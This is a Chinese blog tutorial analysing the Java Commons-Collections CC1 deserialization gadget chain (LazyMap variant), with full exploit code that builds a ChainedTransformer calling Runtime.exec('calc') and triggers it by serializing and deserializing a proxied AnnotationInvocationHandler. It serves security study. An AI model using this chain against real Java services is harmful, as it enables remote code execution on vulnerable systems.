Java反序列化Commons-Collections-CC1链(LazyMap)

Java反序列化Commons-Collections-CC1链(LazyMap)

上一篇文章中我们分析了CC1 链当中的 TransformMap 的反序列化攻击,这次补充一下正版的CC1链

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java

1756701905023-bbc355ec-00ba-422c-9877-a9ebf5606b9a.png

直接进入到LazyMap类去分析get方法

1756703908824-4f536c86-d52f-41a9-ac91-eb7923f18f9f.png

发现这里出现了transform方法,并且get方法的作用域为public

寻找链子

由于factory.transorm,所以找一下factory是什么,这里发现其实是个Transformer类

1756704452024-93bfb7f7-b969-401e-bbe4-0849b3f34496.png

类似地我们构造此exp,证明此链可行

    public static void main(String[] args) throws Exception {
        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer a=new  InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        //a.transform(runtime);
        HashMap<Object,Object> hashMap=new HashMap<>();
        hashMap.put("key","value");
        Map lazydecorateMap= LazyMap.decorate(hashMap,a);
        Class<LazyMap> lazyMapClass= LazyMap.class;
        Method getmethod=lazyMapClass.getDeclaredMethod("get",Object.class);
        getmethod.setAccessible(true);
        getmethod.invoke(lazydecorateMap,runtime);

    }

向上寻找readObject入口类

1756706992723-1a142dd9-c5cc-40fd-8d03-844df266dac7.png

然后在AnnotationInvocationHandler类中找到了get方法的使用,其中get方法还是在invoke方法里

这个类还继承了InvocationHandler接口类,它是代理实例的调用处理程序实现的接口,这意味着我们可以通过动态代理调用invoke方法

1756707935899-c24d29b0-7b7a-411c-829b-6b113add3169.png

在这里调用了entrySet()方法,也就是说,如果我们将 memberValues 的值改为代理对象,当调用代理对象的方法,那么就会跳到执行 invoke() 方法,最终完成整条链子的调用。

最终的EXP

public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod"
                        , new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke"
                        , new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec"
                        , new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        //a.transform(runtime);
        HashMap<Object,Object> hashMap=new HashMap<>();
        hashMap.put("key","value");
        Map lazydecorateMap= LazyMap.decorate(hashMap,chainedTransformer);
        Class lazyMapClass= Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor declaredConstructor = lazyMapClass.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, lazydecorateMap);

        Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, invocationHandler);
        invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, proxyMap);

        serialize(invocationHandler);
        unserialize("ser.bin");


    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

Java虚拟机发现 proxyMap 是一个代理对象。

JVM不会去调用任何真实的 entrySet() 方法,而是会自动跳转到创建代理时指定的 invocationHandler.invoke() 方法!

总结

低版本可以使用,如8u65,高版本jdk8u71就不能利用了。通过动态代理利用invoke方法,实现可控方法。

1756714537834-92e021fa-399c-49f6-9096-c729e3891aad.png

更新: 2025-09-14 17:08:13
原文: https://www.yuque.com/cindahy/ukztx0/bdno1rfucfdf3k66

评论